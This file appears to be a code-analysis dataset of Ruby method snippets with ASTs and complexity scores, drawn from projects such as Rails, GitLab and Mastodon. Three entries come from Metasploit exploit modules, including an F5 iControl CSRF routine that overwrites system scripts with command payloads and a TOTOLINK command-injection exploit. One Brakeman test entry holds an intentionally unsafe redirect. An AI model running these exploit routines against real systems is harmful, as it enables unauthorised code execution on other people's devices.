{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/support/text_processor.rb","start_line":184,"raw_source":"def add_unreferenced_attachments(text, unreferenced_attachments)\n return text unless unreferenced_attachments\n\n unreferenced_attachments = unreferenced_attachments.compact\n text << \"\\n\" << unreferenced_attachments.join(\"\\n\") unless unreferenced_attachments.empty?\n text\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_unreferenced_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"unreferenced_attachments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unreferenced_attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"56f54dab-5b01-4685-9d7f-c65f190f3e27"} {"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/package_command_generator.rb","start_line":32,"raw_source":"def binary_path\n generator.binary_path\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"binary_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"binary_path\"]}]}","id":"cecf14fe-d462-46df-b8ef-6ff5af79dff7"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/ranked_trend.rb","start_line":12,"raw_source":"def locales\n distinct.pluck(:language)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"language\"]}]}]}","id":"bfc6ddf5-8d9f-4ae6-a7f7-c8f4f93b1c35"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/totolink_unauth_rce_cve_2023_30013.rb","start_line":129,"raw_source":"def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n # Don't check the response here since the server won't respond\n # if the payload is successfully executed.\n execute_cmdstager({ linemax: target.opts['Linemax'] })\n end\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Linemax\"]}]}]}]}]}]},null]}]}]}","id":"facd370e-8179-42e9-a1ff-0c3aa33c03bf"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":314,"raw_source":"def click_more_menu_item(item)\n wait_for_network_idle\n page.find('[data-test-selector=\"project-more-dropdown-menu\"]').click\n page.find(\".ActionListItem\", text: item, exact_text: true).click\n wait_for_network_idle\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_more_menu_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_network_idle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"project-more-dropdown-menu\\\"]\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".ActionListItem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exact_text\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_network_idle\"]}]}]}","id":"785815cf-d1c7-4823-a548-d79670f3fc2c"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/update_first_response_time_in_reporting_events_job.rb","start_line":7,"raw_source":"def perform(account)\n get_conversations_with_bot_handoffs(account)\n account.reporting_events.where(name: 'first_response').find_each do |event|\n conversation = event.conversation\n\n # if the conversation has a bot handoff event, we don't need to update the response_time\n next if conversation.nil? || @conversations_with_handoffs.include?(conversation.id)\n\n update_event_data(event, conversation)\n end\n end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_conversations_with_bot_handoffs\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"reporting_events\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"first_response\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"conversation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations_with_handoffs\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"update_event_data\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]}]}]}]}","id":"01443496-f9e2-4258-ad43-30f3a806f0c8"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/models/user_api_key_spec.rb","start_line":5,"raw_source":"def request_env(method, path, **path_parameters)\n ActionDispatch::TestRequest\n .create\n .tap do |request|\n request.request_method = method\n request.path = path\n request.path_parameters = path_parameters\n end\n .env\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_env\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwrestarg\",\"children\":[\"path_parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"TestRequest\"]},\"create\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_method=\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path_parameters=\",{\"type\":\"lvar\",\"children\":[\"path_parameters\"]}]}]}]},\"env\"]}]}","id":"a6c8bf6d-84ce-45f1-a57a-ac87f4a7cc03"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/else_alignment.rb","start_line":57,"raw_source":"def on_case(node)\n return unless node.else?\n\n check_alignment(node.when_branches.last.loc.keyword, node.loc.else)\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_case\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_alignment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"when_branches\"]},\"last\"]},\"loc\"]},\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"else\"]}]}]}]}","id":"1d8577f6-4547-486f-b703-49d6f8b480e2"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":482,"raw_source":"def around(controller)\n yield\n rescue ErrorToRescue => ex\n controller.__send__ :render, plain: \"I rescued this: #{ex.inspect}\"\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"around\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorToRescue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"render\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"I rescued this: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"inspect\"]}]}]}]}]}]}]},null]}]}","id":"0cc61318-1eec-4b9a-af4f-9de437085c67"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails6/app/controllers/users_controller.rb","start_line":87,"raw_source":"def example_redirect_to_request_params\n redirect_to request.params\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"example_redirect_to_request_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]}]}]}","id":"c7351bfb-b0da-4c8c-be9d-a8d1e93301fa"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/block_serializer.rb","start_line":15,"raw_source":"def actor\n ActivityPub::TagManager.instance.uri_for(object.account)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]}","id":"935dd0ac-2010-4d12-9d00-d344abc39757"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/move_designs_service.rb","start_line":64,"raw_source":"def current_design\n params[:current_design]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_design\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_design\"]}]}]}","id":"f24f27e3-3287-4368-8e9d-b5725d399607"} {"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/extension.rb","start_line":61,"raw_source":"def configure(*args, &block)\n record(:configure, *args) { |c| c.instance_exec(c, &block) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\",{\"type\":\"sym\",\"children\":[\"configure\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b2525eee-a16f-4a9d-8ab0-b359f977d1ec"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/tectia_passwd_changereq.rb","start_line":206,"raw_source":"def do_login(user)\n transport, connection = init_ssh(user)\n passwd = is_passwd_method?(user, transport)\n\n if passwd\n conn = userauth_passwd_change(user, transport, connection)\n return conn\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transport\"]},{\"type\":\"lvasgn\",\"children\":[\"connection\"]}]},{\"type\":\"send\",\"children\":[null,\"init_ssh\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"passwd\",{\"type\":\"send\",\"children\":[null,\"is_passwd_method?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"transport\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwd\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[null,\"userauth_passwd_change\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"transport\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]},null]}]}]}","id":"4b81fe34-00a8-4e9b-9c6e-8169c518efc3"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_agenda_items_controller.rb","start_line":328,"raw_source":"def find_existing_occurrence\n next_occurrence = @series.scheduled_meetings.find_by(start_time: @next_meeting_time)\n return if next_occurrence.nil?\n\n if next_occurrence.cancelled?\n respond_with_flash_error(message: I18n.t(:text_agenda_item_move_next_meeting_cancelled))\n else\n @next_occurrence = next_occurrence.meeting\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_existing_occurrence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_occurrence\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"scheduled_meetings\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"ivar\",\"children\":[\"@next_meeting_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"cancelled?\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_flash_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"text_agenda_item_move_next_meeting_cancelled\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_occurrence\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"meeting\"]}]}]}]}]}","id":"4cff728b-a0ab-4bbb-8770-e11279391742"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1885,"raw_source":"def test_references_doesnt_trigger_eager_loading_if_reference_not_included\n scope = Post.references(:comments)\n assert_not_predicate scope, :eager_loading?\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_references_doesnt_trigger_eager_loading_if_reference_not_included\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"references\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"eager_loading?\"]}]}]}]}","id":"89881baa-dd91-40a2-aa20-dbbfe8f220a3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/package_settings/update_service.rb","start_line":39,"raw_source":"def package_settings\n strong_memoize(:package_settings) do\n @container.package_settings\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"package_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"package_settings\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container\"]},\"package_settings\"]}]}]}","id":"d33fb017-a56f-4d0b-8e49-2457d1a8b2ca"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":170,"raw_source":"def purge_media_attachments!\n @account.media_attachments.find_each do |media_attachment|\n next if keep_account_record? && reported_status_ids.include?(media_attachment.status_id)\n\n media_attachment.destroy\n end\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_media_attachments!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"media_attachments\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"media_attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keep_account_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_attachment\"]},\"status_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_attachment\"]},\"destroy\"]}]}]}]}","id":"46c002bf-999b-47da-ae94-f725bfa3f14a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":843,"raw_source":"def derive_foreign_key(infer_from_inverse_of: true)\n if belongs_to?\n \"#{name}_id\"\n elsif options[:as]\n \"#{options[:as]}_id\"\n elsif options[:inverse_of] && infer_from_inverse_of\n inverse_of.foreign_key(infer_from_inverse_of: false)\n else\n active_record.model_name.to_s.foreign_key\n end\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"infer_from_inverse_of\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"belongs_to?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inverse_of\"]}]},{\"type\":\"lvar\",\"children\":[\"infer_from_inverse_of\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inverse_of\"]},\"foreign_key\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"infer_from_inverse_of\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record\"]},\"model_name\"]},\"to_s\"]},\"foreign_key\"]}]}]}]}]}","id":"520f979b-837c-4177-9335-e5777cdfa5db"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/import_export_upload.rb","start_line":58,"raw_source":"def carrierwave_export_file\n export_file&.file\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"carrierwave_export_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"export_file\"]},\"file\"]}]}","id":"569de49b-74a5-41c4-9e54-f76eba30ef93"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/convert_to_ticket_service.rb","start_line":63,"raw_source":"def valid_email?\n email.present? && IssueEmailParticipant.new(issue: target, email: email).valid?\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueEmailParticipant\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]}]}]},\"valid?\"]}]}]}","id":"b53593ab-6628-4bbb-a0cc-9356517220e1"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb","start_line":85,"raw_source":"def on_request_uri(socket, _request)\n if datastore['TARGET'] == 0 # restart\n filename = '/shared/f5_update_action'\n file_payload = <<~EOT\n UpdateAction\n https://localhost/success`#{payload.encoded}`\n https://localhost/error\n 0\n 0\n 0\n 0\n EOT\n\n # Delete the logfile if we get a session\n register_file_for_cleanup('/var/log/f5_update_checker.out')\n\n print_status(\"Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted\")\n elsif datastore['TARGET'] == 1 # login\n filename = '/var/run/config/timeout.sh'\n file_payload = \"#{payload.encoded} & disown;\"\n\n # Delete the backdoored file if we get a session.. this will be fixed at\n # next reboot\n register_file_for_cleanup('/var/run/config/timeout.sh')\n\n print_status(\"Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively\")\n else # Custom\n\n filename = datastore['FILENAME']\n file_payload = payload.encoded\n\n print_status(\"Redirecting the admin to overwrite #{filename} with the payload\")\n end\n\n # Build the SOAP request that'll be sent to the target server\n csrf_payload = %(\n \n \n \n \n #{filename}\n \n \n #{Rex::Text.encode_base64(file_payload)}\n FILE_FIRST_AND_LAST\n \n \n \n\n )\n\n # Build the target URL\n target_url = \"#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}\"\n\n # Build the HTML payload that'll send the SOAP request via the user's browser\n html_payload = %(\n\n \n
\n \n
\n \n \n\n )\n\n # Send the HTML to the browser\n send_response(socket, html_payload, { 'Content-Type' => 'text/html' })\n end","complexity_score":48.43,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"socket\"]},{\"type\":\"arg\",\"children\":[\"_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"/shared/f5_update_action\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UpdateAction\\n\"]},{\"type\":\"str\",\"children\":[\"https://localhost/success`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"`\\n\"]},{\"type\":\"str\",\"children\":[\"https://localhost/error\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"str\",\"children\":[\"/var/log/f5_update_checker.out\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirecting the admin to overwrite \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"; if successful, your session will come approximately 2 minutes after the target is 